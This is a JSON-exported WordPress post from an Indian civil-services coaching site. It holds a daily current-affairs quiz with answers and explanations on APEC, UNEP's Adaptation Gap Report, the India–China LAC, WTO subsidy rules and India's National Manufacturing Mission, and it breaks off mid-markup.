{"id":2667,"date":"2025-10-31T04:15:40","date_gmt":"2025-10-31T04:15:40","guid":{"rendered":"https:\/\/iasquest.com\/?p=2667"},"modified":"2026-02-11T18:49:24","modified_gmt":"2026-02-11T18:49:24","slug":"daily-current-affairs-30-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-30-10-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 30.10.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. Australia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. Bangladesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">III. Japan\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">IV. Canada\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">V. Russia\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">VI. India\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>How many of the above are members of Asia-Pacific Economic Cooperation (APEC)?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(a) Only three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(b) Only four\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">(c) Only five\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">(d) All the six\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Answer: (b) Only four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>In NEWS:<\/strong> South Korea, US, Japan to Hold Trilateral Diplomatic Talks at APEC<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">U.S. doing a trade deal with India: Trump. At the APEC CEO summit in South Korea, President Trump says he has a great relationship with Modi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Asia-Pacific Economic Cooperation (APEC)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Established:<\/strong> 1989<\/li>\n\n\n\n<li><strong>Purpose:<\/strong> To promote <strong>free trade and economic cooperation<\/strong> across the <strong>Asia-Pacific region.<\/strong><\/li>\n\n\n\n<li><strong>Type:<\/strong> A <strong>regional economic forum<\/strong> \u2014 <strong>not a treaty-based organization<\/strong> (i.e., its decisions are non-binding).<\/li>\n\n\n\n<li><strong>Headquarters:<\/strong> <strong>Singapore<\/strong><\/li>\n\n\n\n<li><strong>Members<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"601\" height=\"343\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-32.jpg\" alt=\"\" class=\"wp-image-2668\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-32.jpg 601w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-32-300x171.jpg 300w\" sizes=\"auto, (max-width: 601px) 100vw, 601px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Hence option (b) is orrect.<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Promote <strong>free and open trade and investment<\/strong> in the Asia-Pacific.<\/li>\n\n\n\n<li>Enhance <strong>regional economic integration<\/strong>.<\/li>\n\n\n\n<li>Encourage <strong>economic and technical cooperation (ECOTECH)<\/strong>.<\/li>\n\n\n\n<li>Facilitate <strong>business and investment<\/strong> through easier trade procedures.<\/li>\n\n\n\n<li>Promote <strong>sustainable and inclusive growth<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Important Initiatives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li><strong>Bogor Goals (1994):<\/strong> Aim for <em>free and open trade<\/em> by<ul><li>2010 for developed members,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>2020 for developing members.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>APEC Business Advisory Council (ABAC):<\/strong> Gives private-sector input.<\/li>\n\n\n\n<li><strong>APEC Connectivity Blueprint (2015\u20132025):<\/strong> To improve physical, institutional, and people-to-people connectivity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>India and APEC<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li><strong>India is not a member<\/strong> but has <strong>sought membership since 1991.<\/strong><\/li>\n\n\n\n<li>India was <strong>granted observer status in 2011<\/strong> in some meetings.<\/li>\n\n\n\n<li>Opposition mainly from members citing:<ul><li>India\u2019s geographical limits (not directly Pacific Rim),<\/li><\/ul><ul><li>Size and diversity of its economy,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Consensus-based decision-making delays.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>India\u2019s inclusion<\/strong> is supported by countries like the <strong>USA, Japan, and Australia<\/strong>, but <strong>blocked by China and some ASEAN members.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following countries:<\/strong> <br><br>I. Austria <br>II. Bulgaria <br>III. Croatia\u00a0\u00a0 <br>IV. Serbia\u00a0\u00a0 <br>V. Sweden\u00a0\u00a0 <br>VI. North Macedonia\u00a0\u00a0 <br><br><strong>How many of the above are members of the North Atlantic Treaty Organization?\u00a0\u00a0<\/strong> <br><br>(a) Only three\u00a0\u00a0 <br><strong>(b) Only four\u00a0\u00a0<\/strong> <br>(c) Only five\u00a0\u00a0 <br>(d) All the six\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/trump-praises-pm-modi-repeats-claims-on-india-pakistan-mediation\/article70215804.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/trump-praises-pm-modi-repeats-claims-on-india-pakistan-mediation\/article70215804.ece<\/strong><\/a><strong> <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/south-korea-us-japan-to-hold-trilateral-diplomatic-talks-at-apec\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/south-korea-us-japan-to-hold-trilateral-diplomatic-talks-at-apec\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>2. The Adaptation Gap Report 2025 is published by the<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(a) International Monetary Fund<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(b) United Nations Environment Programme<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(c) World Economic Forum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(d) World Bank<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Answer: (b) United Nations Environment Programme<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>In NEWS: <\/strong>UNEP\u2019s Adaptation Gap Report 2025 warns developing nations face an annual adaptation bill of up to US$365 billion by 2035.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Adaptation Gap Report 2024:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">1. The <strong>Adaptation Gap Report<\/strong> is published annually by the <strong>United Nations Environment Programme (UNEP)<\/strong>.<strong> Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">2. The 2024 edition is titled <strong>\u201cCome hell and high water\u201d<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">3. The report assesses the <strong>gap between current adaptation efforts and the level required<\/strong> to manage climate impacts effectively.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">4. About <strong>171 countries (around 87%)<\/strong> have at least one national adaptation plan, policy, or strategy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">5. Despite this, <strong>implementation of adaptation measures remains inadequate and slow<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">6. The <strong>adaptation finance gap<\/strong> is widening, with developing countries requiring <strong>USD 215\u2013387 billion per year by 2030<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>7. Current adaptation finance<\/strong> is estimated to be <strong>five to ten times lower<\/strong> than what is needed.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">8. The report calls for adoption of a strong <strong>New Collective Quantified Goal (NCQG)<\/strong> on climate finance at <strong>COP29 (Baku 2024)<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">9. It highlights <strong>inequalities<\/strong>, noting that <strong>poorest and most vulnerable nations<\/strong> suffer the most from climate impacts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">10. The report stresses the importance of <strong>nature-based and locally led adaptation<\/strong> approaches.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">11. It emphasizes the role of the <strong>private sector<\/strong> in financing and implementing adaptation measures.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>12. India<\/strong> has national and state-level adaptation plans, but faces a <strong>significant funding and implementation gap<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">13. The report underscores the need for <strong>technology transfer and capacity building<\/strong>, especially in developing nations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">14. Overall, it warns that <strong>global adaptation progress is far behind<\/strong> the pace required to protect communities from worsening climate impacts.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. The Global Competitiveness Report is published by the<\/strong> <br><br>(a) International Monetary Fund <br>(b) United Nations Conference on Trade and Development <br><strong>(c) World Economic Forum<\/strong> <br>(d) World Bank<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/uneps-adaptation-gap-report-2025-warns-of-deepening-crisis-as-jamaica-reels-from-hurricane-melissa\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/uneps-adaptation-gap-report-2025-warns-of-deepening-crisis-as-jamaica-reels-from-hurricane-melissa<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>3. With reference to the \u2018Line of Actual Control (LAC)\u2019, which of the following statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. It is a legally recognized or demarcated boundary between India and China, separating territories controlled by each.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. The border covers the region from Ladakh and up to Aksai Chin region only.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Select the correct answer using the code given below.&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In NEWS: <\/strong>India, China hold fresh round of military talks on LAC peace and stability<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Line of Actual Control (LAC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li><strong>Definition:<\/strong> The <strong>Line of Actual Control (LAC)<\/strong> is the <strong>de facto boundary<\/strong> between <strong>India and China<\/strong>, separating territories controlled by each.<\/li>\n\n\n\n<li><strong>Origin:<\/strong> The concept was <strong>first proposed by Chinese Premier Zhou Enlai in 1959<\/strong>, but it <strong>took shape after the 1962 Sino-Indian War<\/strong>.<\/li>\n\n\n\n<li><strong>Legal status:<\/strong> It is <strong>not a legally recognized or demarcated boundary<\/strong>, unlike the Line of Control (LoC) with Pakistan. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Disputed nature:<\/strong> There is <strong>no mutually agreed map<\/strong> of the LAC; both countries have <strong>different perceptions<\/strong> of its alignment.<\/li>\n\n\n\n<li><strong>Length estimates:<\/strong><ul><li><strong>India\u2019s estimate:<\/strong> ~3,488 km<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>China\u2019s estimate:<\/strong> ~2,000 km<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Divisions of the LAC:<\/strong><ul><li><strong>Western Sector:<\/strong> Ladakh and Aksai Chin region.<\/li><\/ul><ul><li><strong>Middle Sector:<\/strong> Uttarakhand and Himachal Pradesh.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Eastern Sector:<\/strong> Arunachal Pradesh and Sikkim. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Nature of disputes:<\/strong> Frequent <strong>transgressions and standoffs<\/strong> occur due to differing perceptions \u2014 most notably the <strong>Galwan Valley clash (2020)<\/strong> and <strong>Doklam standoff (2017)<\/strong>.<\/li>\n\n\n\n<li><strong>Agreements for peace:<\/strong><ul><li>1993: Agreement on Maintenance of Peace and Tranquility along the LAC.<\/li><\/ul><ul><li>1996: Agreement on Confidence-Building Measures (CBMs).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>2005: Protocol on Modalities for Implementation of CBMs.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Which one of the following statements best reflects the issue with Senkaku Islands, sometimes mentioned in the news?<\/strong> <br><br>(a) It is generally believed that they are artificial islands made by a country around the South China Sea. <br><strong>(b) China and Japan engage in maritime disputes over these islands in the East China Sea.<\/strong> <br>(c) A permanent American military base has been set up there to help Taiwan to increase its defence capabilities. <br>(d) Though International Court of Justice declared them as no man&#8217;s land, some South &#8211; East Asian countries claim them.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/23rd-round-of-india-china-corps-commander-level-meeting-held-at-chushul-moldo\/article70215532.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/23rd-round-of-india-china-corps-commander-level-meeting-held-at-chushul-moldo\/article70215532.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>4. Which one of the following statements best describes the term \u2018Import Substitution\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(a) Subsidies provided to exporters to enhance the competitiveness of domestic goods in foreign markets.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(b) Subsidies given to domestic industries to encourage production of goods that replace imports.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(c) Financial incentives offered to foreign firms for setting up manufacturing units in the country.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(d) Subsidies provided to reduce the prices of imported goods for consumers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Answer: (b) Subsidies given to domestic industries to encourage production of goods that replace imports.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>In NEWS:<\/strong> What is China\u2019s complaint against India at the WTO?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>China\u2019s WTO Complaint Against India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li><strong>China has lodged a complaint at the WTO<\/strong> alleging that India\u2019s <strong>Production-Linked Incentive (PLI) schemes<\/strong> for certain sectors violate WTO rules on subsidies.<\/li>\n\n\n\n<li>The complaint targets <strong>three PLI schemes<\/strong> \u2014<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>1. Advanced Chemistry Cell (ACC) batteries<\/strong>,<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>2. Automobile and auto components<\/strong>, and<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>3. Electric vehicles (EVs)<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>What is the PLI Scheme?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li><strong>Launched in 2020<\/strong>, to boost <strong>domestic manufacturing and exports<\/strong>.<\/li>\n\n\n\n<li>Provides <strong>financial incentives based on incremental sales<\/strong> to industries.<\/li>\n\n\n\n<li>Aims to integrate <strong>MSMEs<\/strong>, promote <strong>backward linkages<\/strong>, and enhance India\u2019s role in <strong>global value chains<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>China\u2019s Allegations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>The PLI schemes provide <strong>subsidies linked to Domestic Value Addition (DVA)<\/strong> \u2014<ul><li><strong>Auto sector:<\/strong> 50% DVA required.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>ACC batteries:<\/strong> 25% DVA required.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>China claims these <strong>discriminate against imported goods<\/strong>, especially Chinese components, and are thus <strong>\u201cimport substitution\u201d (IS) subsidies<\/strong>, which are <strong>prohibited under WTO law<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>WTO Law on Subsidies<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>Governed by the <strong>Subsidies and Countervailing Measures (SCM) Agreement<\/strong>.<\/li>\n\n\n\n<li><em>Import Substitution (IS) subsidies<\/em> are <strong>government incentives<\/strong> provided to domestic industries to <strong>reduce dependence on imported goods<\/strong> by <strong>encouraging local production<\/strong> of those goods. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Governments may offer <strong>tax incentives, capital subsidies, cheaper credit, tariff protection<\/strong>, or <strong>research support<\/strong> to local producers.<\/li>\n\n\n\n<li>These subsidies help <strong>domestic industries compete with imported products<\/strong> in both cost and quality.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Types of Subsidies under SCM Agreement<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>1. Prohibited Subsidies<\/strong> \u2013<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li><strong>Export subsidies<\/strong> (linked to export performance)<\/li>\n\n\n\n<li><strong>Import substitution (IS) subsidies<\/strong> (linked to use of domestic goods over imported goods)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>2. Actionable Subsidies<\/strong> \u2013 May be challenged if they harm another country\u2019s trade.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>3.Non-actionable Subsidies<\/strong> \u2013 Allowed (e.g., R&amp;D or regional development).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>India\u2019s Defence<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>The <strong>DVA conditions \u2260 Local content requirements<\/strong>.<\/li>\n\n\n\n<li><strong>Domestic value addition<\/strong> can occur through design, technology, or assembly \u2014 not necessarily by using only domestic goods.<\/li>\n\n\n\n<li>Therefore, PLI schemes <strong>may not qualify as IS subsidies<\/strong> under WTO law.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Which of the following best describes the term &#8216;import cover&#8217;, sometimes seen in the news?<\/strong> <br><br>(a) It is the ratio of value of imports to the Gross Domestic Product of a country <br>(b) It is the total value of imports of a country in a year <br>(c) It is the ratio between the value of exports and that of imports between two countries <br><strong>(d) It is the number of months of imports that could be paid for by a country&#8217;s international reserves<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/what-is-chinas-complaint-against-india-at-wto-explained\/article70218390.ece#:~:text=It%20alleges%20that%20India%20is,in%20contravention%20of%20WTO%20law\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/what-is-chinas-complaint-against-india-at-wto-explained\/article70218390.ece#:~:text=It%20alleges%20that%20India%20is,in%20contravention%20of%20WTO%20law<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>5. With reference to the National Manufacturing Mission, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">1. It aims to increase the share of the manufacturing sector in India\u2019s GDP to 25% and create 100 million jobs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">2. The Mission is implemented under the Ministry of Commerce and Industry.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Which of the statements given above is\/ are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cabinet note on National Manufacturing Mission underway: NITI Aayog VC Suman Bery<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>National Manufacturing Mission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li><strong>Launched by:<\/strong> Government of India<\/li>\n\n\n\n<li><strong>Implementing Body:<\/strong> <strong>National Manufacturing Competitiveness Council (NMCC)<\/strong> under the <strong>Ministry of Commerce and Industry<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Objective:<\/strong> To enhance the <strong>share of manufacturing in India\u2019s GDP<\/strong> and make India a <strong>global manufacturing hub<\/strong>.<\/li>\n\n\n\n<li><strong>Vision:<\/strong> Promote <strong>innovation, skill development, technology upgradation<\/strong>, and <strong>sustainable manufacturing<\/strong>.<\/li>\n\n\n\n<li><strong>Target:<\/strong> Increase manufacturing sector\u2019s share in GDP from around <strong>15\u201316% to 25%<\/strong>, and create <strong>100 million jobs<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Focus Areas:<\/strong><ul><li>Improvement in <strong>industrial infrastructure<\/strong> and <strong>logistics<\/strong><\/li><\/ul><ul><li><strong>Ease of Doing Business<\/strong> reforms<\/li><\/ul><ul><li><strong>Adoption of new technologies<\/strong> (Industry 4.0)<\/li><\/ul><ul><li><strong>SME and cluster development<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Sustainability and energy efficiency<\/strong> in manufacturing<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Related Initiative:<\/strong> It aligns closely with the <strong>Make in India<\/strong> programme and <strong>National Manufacturing Policy (NMP)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following in respect of \u2018National Career Service\u2019:<\/strong> <br>1. National Career Service is an initiative of the Department of Personnel and Training, Government of India. <br>2. National Career Service has been launched in a Mission Mode to improve the employment opportunities to uneducated youth of the country. <br><br><strong>Which of the above statements is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color 